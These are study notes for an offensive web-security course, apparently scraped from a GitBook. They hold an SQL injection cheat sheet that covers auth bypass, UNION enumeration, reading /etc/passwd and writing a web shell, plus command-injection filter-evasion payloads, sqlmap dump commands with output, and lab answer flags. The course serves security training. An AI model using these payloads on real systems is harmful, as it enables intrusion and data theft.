* Comparison (`=`, `>`, `<`, `<=`, `>=`, `!=`, `LIKE`)
* NOT (`!`)
* AND (`&&`)
* OR (`||`)
### SQL Injection[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#sql-injection)
**Payload**
**Description**
**Auth Bypass**
`admin' or '1'='1`
Basic Auth Bypass
`admin')-- -`
Basic Auth Bypass With comments
[Auth Bypass Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass)
**Union Injection**
`' order by 1-- -`
Detect number of columns using `order by`
`cn' UNION select 1,2,3-- -`
Detect number of columns using Union injection
`cn' UNION select 1,@@version,3,4-- -`
Basic Union injection
`UNION select username, 2, 3, 4 from passwords-- -`
Union injection for 4 columns
**DB Enumeration**
`SELECT @@version`
Fingerprint MySQL with query output
`SELECT SLEEP(5)`
Fingerprint MySQL with no output
`cn' UNION select 1,database(),2,3-- -`
Current database name
`cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -`
List all databases
`cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -`
List all tables in a specific database
`cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -`
List all columns in a specific table
`cn' UNION select 1, username, password, 4 from dev.credentials-- -`
Dump data from a table in another database
**Privileges**
`cn' UNION SELECT 1, user(), 3, 4-- -`
Find current user
`cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -`
Find if user has admin privileges
`cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -`
Find if all user privileges
`cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -`
Find which directories can be accessed through MySQL
**File Injection**
`cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -`
Read local file
`select 'file written successfully!' into outfile '/var/www/html/proof.txt'`
Write a string to a local file
`cn' union select "",'', "", "" into outfile '/var/www/html/shell.php'-- -`
Write a web shell into the base web directory
[PreviousWrite Up](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/updated-skills-assesment/write-up)
[NextCVSS Scoring](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring)
Last updated 8 months ago
* [MySQL](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#mysql)
* [MySQL Operator Precedence](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#mysql-operator-precedence)
* [SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet#sql-injection)
---
# Bypassing Other Blacklisted Characters | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters.md)
.
* * *
Besides injection operators and space characters, a very commonly blacklisted character is the slash (`/`) or backslash (`\`) character, as it is necessary to specify directories in Linux or Windows. We can utilize several techniques to produce any character we want while avoiding the use of blacklisted characters.
* * *
### Linux[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#linux)
There are many techniques we can utilize to have slashes in our payload. One such technique we can use for replacing slashes (`or any other character`) is through `Linux Environment Variables` like we did with `${IFS}`. While `${IFS}` is directly replaced with a space, there's no such environment variable for slashes or semi-colons. However, these characters may be used in an environment variable, and we can specify `start` and `length` of our string to exactly match this character.
For example, if we look at the `$PATH` environment variable in Linux, it may look something like the following:
Bypassing Other Blacklisted Characters
Copy
Code4Christ@htb[/htb]$ echo ${PATH}
/usr/local/bin:/usr/bin:/bin:/usr/games
So, if we start at the `0` character, and only take a string of length `1`, we will end up with only the `/` character, which we can use in our payload:
Bypassing Other Blacklisted Characters
Copy
Code4Christ@htb[/htb]$ echo ${PATH:0:1}
/
Note: When we use the above command in our payload, we will not add `echo`, as we are only using it in this case to show the outputted character.
We can do the same with the `$HOME` or `$PWD` environment variables as well. We can also use the same concept to get a semi-colon character, to be used as an injection operator. For example, the following command gives us a semi-colon:
Bypassing Other Blacklisted Characters
Exercise: Try to understand how the above command resulted in a semi-colon, and then use it in the payload to use it as an injection operator. Hint: The `printenv` command prints all environment variables in Linux, so you can look which ones may contain useful characters, and then try to reduce the string to that character only.
So, let's try to use environment variables to add a semi-colon and a space to our payload (`127.0.0.1${LS_COLORS:10:1}${IFS}`) as our payload, and see if we can bypass the filter:

As we can see, we successfully bypassed the character filter this time as well.
* * *
### Windows[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#windows)
The same concept works on Windows as well. For example, to produce a slash in `Windows Command Line (CMD)`, we can `echo` a Windows variable (`%HOMEPATH%` -> `\Users\htb-student`), and then specify a starting position (`~6` -> `\htb-student`), and finally specifying a negative end position, which in this case is the length of the username `htb-student` (`-11` -> `\`) :
Bypassing Other Blacklisted Characters
We can achieve the same thing using the same variables in `Windows PowerShell`. With PowerShell, a word is considered an array, so we have to specify the index of the character we need. As we only need one character, we don't have to specify the start and end positions:
Bypassing Other Blacklisted Characters
We can also use the `Get-ChildItem Env:` PowerShell command to print all environment variables and then pick one of them to produce a character we need. `Try to be creative and find different commands to produce similar characters.`
* * *
### Character Shifting[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#character-shifting)
There are other techniques to produce the required characters without using them, like `shifting characters`. For example, the following Linux command shifts the character we pass by `1`. So, all we have to do is find the character in the ASCII table that is just before our needed character (we can get it with `man ascii`), then add it instead of `[` in the below example. This way, the last printed character would be the one we need:\
\
Bypassing Other Blacklisted Characters\
\
We can use PowerShell commands to achieve the same result in Windows, though they can be quite longer than the Linux ones.\
\
Use what you learned in this section to find name of the user in the '/home' folder. What user did you find?[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#use-what-you-learned-in-this-section-to-find-name-of-the-user-in-the-home-folder.-what-user-did-you)\
\
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\
\
We’ve discovered that with ${LS\_COLORS:10:1}, we can generate a semicolon (;).\
\
Now, the hint from the question says, “Use the PATH environment variable along with the injection character you identified earlier.”\
\
Having completed the previous task, we now understand that we need to use %0a for “New Line” along with {ls, -la}.\
\
Now, we need to combine everything we’ve learned along this path.\
\
* ${LS\_COLORS:10:1} = ;\
\
* %0a = New line (\\n)\
\
* {ls,-la} = ls -la\
\
* ${IFS} = Tab + Space\
\
* ${PATH:0:1} = /\
\
* Home = Directory\
\
\
\*\*\* this is the full script\
\
\
\
Answer: 1nj3c70r\
\
[PreviousBypassing Space Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters)\
[NextBypassing Blacklisted Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands)\
\
Last updated 1 year ago\
\
* [Linux](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#linux)\
\
* [Windows](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#windows)\
\
* [Character Shifting](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#character-shifting)\
\
* [Use what you learned in this section to find name of the user in the '/home' folder. What user did you find?](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters#use-what-you-learned-in-this-section-to-find-name-of-the-user-in-the-home-folder.-what-user-did-you)\
\
\
Copy\
\
Code4Christ@htb[/htb]$ echo ${LS_COLORS:10:1}\
\
;\
\
Copy\
\
C:\htb> echo %HOMEPATH:~6,-11%\
\
\\
\
Copy\
\
PS C:\htb> $env:HOMEPATH[0]\
\
\\
\
\
PS C:\htb> $env:PROGRAMFILES[10]\
PS C:\htb>\
\
Copy\
\
Code4Christ@htb[/htb]$ man ascii # \ is on 92, before it is [ on 91\
Code4Christ@htb[/htb]$ echo $(tr '!-}' '"-~'<<<[)\
\
\\
\
Copy\
\
ip=127.0.0.1${LS_COLORS:10:1}%0a{ls,-la}${IFS}${PATH:0:1}ho
---
# Preventing XSLT Injection | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection.md)
.
Preventing XSLT Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection#preventing-xslt-injection)
-------------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
After discussing how to identify and exploit XSLT injection vulnerabilities in the previous sections, we will conclude this module by discussing how to prevent them.
* * *
### Prevention[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection#prevention)
Similarly to all injection vulnerabilities discussed in this module, XSLT injection can be prevented by ensuring that user input is not inserted into XSL data before processing by the XSLT processor. However, if the output should reflect values provided by the user, user-provided data might be required to be added to the XSL document before processing. In this case, it is essential to implement proper sanitization and input validation to avoid XSLT injection vulnerabilities. This may prevent attackers from injecting additional XSLT elements, but the implementation may depend on the output format.
For instance, if the XSLT processor generates an HTML response, HTML-encoding user input before inserting it into the XSL data can prevent XSLT injection vulnerabilities. As HTML-encoding converts all instances of `<` to `<` and `>` to `>`, an attacker should not be able to inject additional XSLT elements, thus preventing an XSLT injection vulnerability.
Additional hardening measures such as running the XSLT processor as a low-privilege process, preventing the use of external functions by turning off PHP functions within XSLT, and keeping the XSLT library up-to-date can mitigate the impact of potential XSLT injection vulnerabilities.
[PreviousExploiting XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection)
[NextSkills Assessment](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment)
Last updated 10 months ago
* [Preventing XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection#preventing-xslt-injection)
* [Prevention](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection#prevention)
---
# Bypassing Blacklisted Commands | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands.md)
.
Bypassing Blacklisted Commands[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#bypassing-blacklisted-commands)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
We have discussed various methods for bypassing single-character filters. However, there are different methods when it comes to bypassing blacklisted commands. A command blacklist usually consists of a set of words, and if we can obfuscate our commands and make them look different, we may be able to bypass the filters.
There are various methods of command obfuscation that vary in complexity, as we will touch upon later with command obfuscation tools. We will cover a few basic techniques that may enable us to change the look of our command to bypass filters manually.
* * *
### Commands Blacklist[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#commands-blacklist)
We have so far successfully bypassed the character filter for the space and semi-colon characters in our payload. So, let us go back to our very first payload and re-add the `whoami` command to see if it gets executed: 
We see that even though we used characters that are not blocked by the web application, the request gets blocked again once we added our command. This is likely due to another type of filter, which is a command blacklist filter.
A basic command blacklist filter in `PHP` would look like the following:
Code: php
Copy
$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
if (strpos('$_POST['ip']', $word) !== false) {
echo "Invalid input";
}
}
As we can see, it is checking each word of the user input to see if it matches any of the blacklisted words. However, this code is looking for an exact match of the provided command, so if we send a slightly different command, it may not get blocked. Luckily, we can utilize various obfuscation techniques that will execute our command without using the exact command word.
* * *
### Linux & Windows[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#linux-and-windows)
One very common and easy obfuscation technique is inserting certain characters within our command that are usually ignored by command shells like `Bash` or `PowerShell` and will execute the same command as if they were not there. Some of these characters are a single-quote `'` and a double-quote `"`, in addition to a few others.
The easiest to use are quotes, and they work on both Linux and Windows servers. For example, if we want to obfuscate the `whoami` command, we can insert single quotes between its characters, as follows:
Bypassing Blacklisted Commands
The same works with double-quotes as well:
Bypassing Blacklisted Commands
The important things to remember are that `we cannot mix types of quotes` and `the number of quotes must be even`. We can try one of the above in our payload (`127.0.0.1%0aw'h'o'am'i`) and see if it works:
**Burp POST Request**

Screenshot of a web app interface showing a POST request to 127.0.0.1 with headers and a command injection attempt. The response section displays HTML for a 'Host Checker' form, allowing IP input and showing ping results for 127.0.0.1.
As we can see, this method indeed works.
* * *
### Linux Only[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#linux-only)
We can insert a few other Linux-only characters in the middle of commands, and the `bash` shell would ignore them and execute the command. These characters include the backslash `\` and the positional parameter character `$@`. This works exactly as it did with the quotes, but in this case, `the number of characters do not have to be even`, and we can insert just one of them if we want to:
Code: bash
Exercise: Try the above two examples in your payload, and see if they work in bypassing the command filter. If they do not, this may indicate that you may have used a filtered character. Would you be able to bypass that as well, using the techniques we learned in the previous section?
* * *
### Windows Only[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#windows-only)
There are also some Windows-only characters we can insert in the middle of commands that do not affect the outcome, like a caret (`^`) character, as we can see in the following example:
Bypassing Blacklisted Commands
In the next section, we will discuss some more advanced techniques for command obfuscation and filter bypassing.
Use what you learned in this section find the content of flag.txt in the home folder of the user you previously found.[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#use-what-you-learned-in-this-section-find-the-content-of-flag.txt-in-the-home-folder-of-the-user-you)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
This command appears to be a crafted string involving various shell environment variables and special characters. Here's a breakdown:
* `127.0.0.1`: Typically represents the loopback IP address in networking, often used to refer to the local machine.
* `${LS_COLORS:10:1}`: Extracts a substring from the `LS_COLORS` environment variable, starting at index 10 with length 1. = ;
* `%0a`: Represents a newline character in URL encoding. = \\n
* `"a"t`: A string with 'a' followed by 't'.
* `${IFS}`: Refers to the Internal Field Separator in shell environments, usually a space or whitespace. = TAB + Space
* `${PATH:0:1}`: Extracts the first character from the `PATH` environment variable. = /
* `home`, `1nj3c70r`, `flag.txt`: These seem to be parts of a file path, suggesting a directory structure or files within a system.
Overall, this expression might be part of a shell command potentially used for script injection or file path navigation on a system. Be cautious when interpreting such strings, especially in a security context.

Answer: HTB{b451c\_f1l73r5\_w0n7\_570p\_m3}
[PreviousBypassing Other Blacklisted Characters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters)
[NextAdvanced Command Obfuscation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation)
Last updated 1 year ago
* [Bypassing Blacklisted Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#bypassing-blacklisted-commands)
* [Commands Blacklist](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#commands-blacklist)
* [Linux & Windows](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#linux-and-windows)
* [Linux Only](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#linux-only)
* [Windows Only](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#windows-only)
* [Use what you learned in this section find the content of flag.txt in the home folder of the user you previously found.](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands#use-what-you-learned-in-this-section-find-the-content-of-flag.txt-in-the-home-folder-of-the-user-you)
Copy
21y4d@htb[/htb]$ w'h'o'am'i
21y4d
Copy
21y4d@htb[/htb]$ w"h"o"am"i
21y4d
Copy
who$@ami
w\ho\am\i
Copy
C:\htb> who^ami
21y4d
Copy
127.0.0.1${LS_COLORS:10:1}%0ac"a"t${IFS}${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt
---
# Password Attacks | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks.md)
.
[Default Credentials](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/default-credentials)
[Vulnerable Password Reset](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/vulnerable-password-reset)
[PreviousWeak Brute-Force Protection](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection)
[NextDefault Credentials](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/default-credentials)
Last updated 9 months ago
---
# Database Enumeration | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration.md)
.
* * *
Enumeration represents the central part of an SQL injection attack, which is done right after the successful detection and confirmation of exploitability of the targeted SQLi vulnerability. It consists of lookup and retrieval (i.e., exfiltration) of all the available information from the vulnerable database.
* * *
### SQLMap Data Exfiltration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#sqlmap-data-exfiltration)
For such purpose, SQLMap has a predefined set of queries for all supported DBMSes, where each entry represents the SQL that must be run at the target to retrieve the desired content. For example, the excerpts from [queries.xml](https://github.com/sqlmapproject/sqlmap/blob/master/data/xml/queries.xml)
for a MySQL DBMS can be seen below:
Code: xml
Copy
...SNIP...
...SNIP...
For example, if a user wants to retrieve the "banner" (switch `--banner`) for the target based on MySQL DBMS, the `VERSION()` query will be used for such purpose. In case of retrieval of the current user name (switch `--current-user`), the `CURRENT_USER()` query will be used.
Another example is retrieving all the usernames (i.e., tag ``). There are two queries used, depending on the situation. The query marked as `inband` is used in all non-blind situations (i.e., UNION-query and error-based SQLi), where the query results can be expected inside the response itself. The query marked as `blind`, on the other hand, is used for all blind situations, where data has to be retrieved row-by-row, column-by-column, and bit-by-bit.
* * *
### Basic DB Data Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#basic-db-data-enumeration)
Usually, after a successful detection of an SQLi vulnerability, we can begin the enumeration of basic details from the database, such as the hostname of the vulnerable target (`--hostname`), current user's name (`--current-user`), current database name (`--current-db`), or password hashes (`--passwords`). SQLMap will skip SQLi detection if it has been identified earlier and directly start the DBMS enumeration process.
Enumeration usually starts with the retrieval of the basic information:
* Database version banner (switch `--banner`)
* Current user name (switch `--current-user`)
* Current database name (switch `--current-db`)
* Checking if the current user has DBA (administrator) rights (switch `--is-dba`)
The following SQLMap command does all of the above:
Database Enumeration
From the above example, we can see that the database version is quite old (MySQL 5.1.41 - from November 2009), and the current user name is `root`, while the current database name is `testdb`.
Note: The 'root' user in the database context in the vast majority of cases does not have any relation with the OS user "root", other than that representing the privileged user within the DBMS context. This basically means that the DB user should not have any constraints within the database context, while OS privileges (e.g. file system writing to arbitrary location) should be minimalistic, at least in the recent deployments. The same principle applies for the generic 'DBA' role.
* * *
### Table Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#table-enumeration)
In most common scenarios, after finding the current database name (i.e. `testdb`), the retrieval of table names would be by using the `--tables` option and specifying the DB name with `-D testdb`, is as follows:
Database Enumeration
After spotting the table name of interest, retrieval of its content can be done by using the `--dump` option and specifying the table name with `-T users`, as follows:
Database Enumeration
The console output shows that the table is dumped in formatted CSV format to a local file, `users.csv`.
Tip: Apart from default CSV, we can specify the output format with the option \`--dump-format\` to HTML or SQLite, so that we can later further investigate the DB in an SQLite environment.

Database table showing columns for data type, table name, column name, and privileges with sample entries.
* * *
### Table/Row Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#table-row-enumeration)
When dealing with large tables with many columns and/or rows, we can specify the columns (e.g., only `name` and `surname` columns) with the `-C` option, as follows:
Database Enumeration
To narrow down the rows based on their ordinal number(s) inside the table, we can specify the rows with the `--start` and `--stop` options (e.g., start from 2nd up to 3rd entry), as follows:
Database Enumeration
* * *
### Conditional Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#conditional-enumeration)
If there is a requirement to retrieve certain rows based on a known `WHERE` condition (e.g. `name LIKE 'f%'`), we can use the option `--where`, as follows:
Database Enumeration
* * *
### Full DB Enumeration[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#full-db-enumeration)
Instead of retrieving content per single-table basis, we can retrieve all tables inside the database of interest by skipping the usage of option `-T` altogether (e.g. `--dump -D testdb`). By simply using the switch `--dump` without specifying a table with `-T`, all of the current database content will be retrieved. As for the `--dump-all` switch, all the content from all the databases will be retrieved.
In such cases, a user is also advised to include the switch `--exclude-sysdbs` (e.g. `--dump-all --exclude-sysdbs`), which will instruct SQLMap to skip the retrieval of content from system databases, as it is usually of little interest for pentesters.
You can use the -D to specify the testdb
A: HTB{c0n6r475\_y0u\_kn0w\_h0w\_70\_run\_b451c\_5qlm4p\_5c4n}
[PreviousAttack Tuning](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/attack-tuning)
[NextAdvanced Database Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration)
Last updated 9 months ago
* [SQLMap Data Exfiltration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#sqlmap-data-exfiltration)
* [Basic DB Data Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#basic-db-data-enumeration)
* [Table Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#table-enumeration)
* [Table/Row Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#table-row-enumeration)
* [Conditional Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#conditional-enumeration)
* [Full DB Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration#full-db-enumeration)
Copy
Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
___
__H__
___ ___[']_____ ___ ___ {1.4.9}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 13:30:57 /2020-09-17/
[13:30:57] [INFO] resuming back-end DBMS 'mysql'
[13:30:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 5134=5134
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 5907 FROM(SELECT COUNT(*),CONCAT(0x7170766b71,(SELECT (ELT(5907=5907,1))),0x7178707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170766b71,0x7a76726a6442576667644e6b476e577665615168564b7a696a6d4646475159716f784f5647535654,0x7178707671)-- -
---
[13:30:57] [INFO] the back-end DBMS is MySQL
[13:30:57] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0
banner: '5.1.41-3~bpo50+1'
[13:30:58] [INFO] fetching current user
current user: 'root@%'
[13:30:58] [INFO] fetching current database
current database: 'testdb'
[13:30:58] [INFO] testing if current user is DBA
[13:30:58] [INFO] fetching current user
current user is DBA: True
[13:30:58] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/www.example.com'
[*] ending @ 13:30:58 /2020-09-17/
Copy
Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
...SNIP...
[13:59:24] [INFO] fetching tables for database: 'testdb'
Database: testdb
[4 tables]
+---------------+
| member |
| data |
| international |
| users |
+---------------+
Copy
Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb
...SNIP...
Database: testdb
Table: users
[4 entries]
+----+--------+------------+
| id | name | surname |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
[14:07:18] [INFO] table 'testdb.users' dumped to CSV file '/home/user/.local/share/sqlmap/output/www.example.com/dump/testdb/users.csv'
Copy
Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname
...SNIP...
Database: testdb
Table: users
[4 entries]
+--------+------------+
| name | surname |
+--------+------------+
| luther | blisset |
| fluffy | bunny |
| wu | ming |
| NULL | nameisnull |
+--------+------------+
Copy
Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3
...SNIP...
Database: testdb
Table: users
[2 entries]
+----+--------+---------+
| id | name | surname |
+----+--------+---------+
| 2 | fluffy | bunny |
| 3 | wu | ming |
+----+--------+---------+
Copy
Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"
...SNIP...
Database: testdb
Table: users
[1 entry]
+----+--------+---------+
| id | name | surname |
+----+--------+---------+
| 2 | fluffy | bunny |
+----+--------+---------+
Copy
sqlmap -u "94.237.62.103:38729/case1.php?id=1" --batch --dump -D testdb
Copy
┌─[us-academy-3]─[10.10.14.225]─[htb-ac-1067736@htb-tu9evhc5ak]─[~]
└──╼ [★]$ sqlmap -u "94.237.62.103:38729/case1.php?id=1" --batch --dump -D testdb
___
__H__
___ ___[.]_____ ___ ___ {1.8.12#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:28:05 /2025-11-09/
[16:28:05] [INFO] testing connection to the target URL
[16:28:06] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:28:06] [INFO] testing if the target URL content is stable
[16:28:06] [INFO] target URL content is stable
[16:28:06] [INFO] testing if GET parameter 'id' is dynamic
[16:28:06] [INFO] GET parameter 'id' appears to be dynamic
[16:28:07] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[16:28:07] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[16:28:07] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[16:28:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:28:07] [WARNING] reflective value(s) found and filtering out
[16:28:08] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Rice")
[16:28:08] [INFO] testing 'Generic inline queries'
[16:28:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[16:28:08] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[16:28:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[16:28:09] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[16:28:09] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[16:28:09] [WARNING] potential permission problems detected ('command denied')
[16:28:09] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[16:28:09] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[16:28:10] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[16:28:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
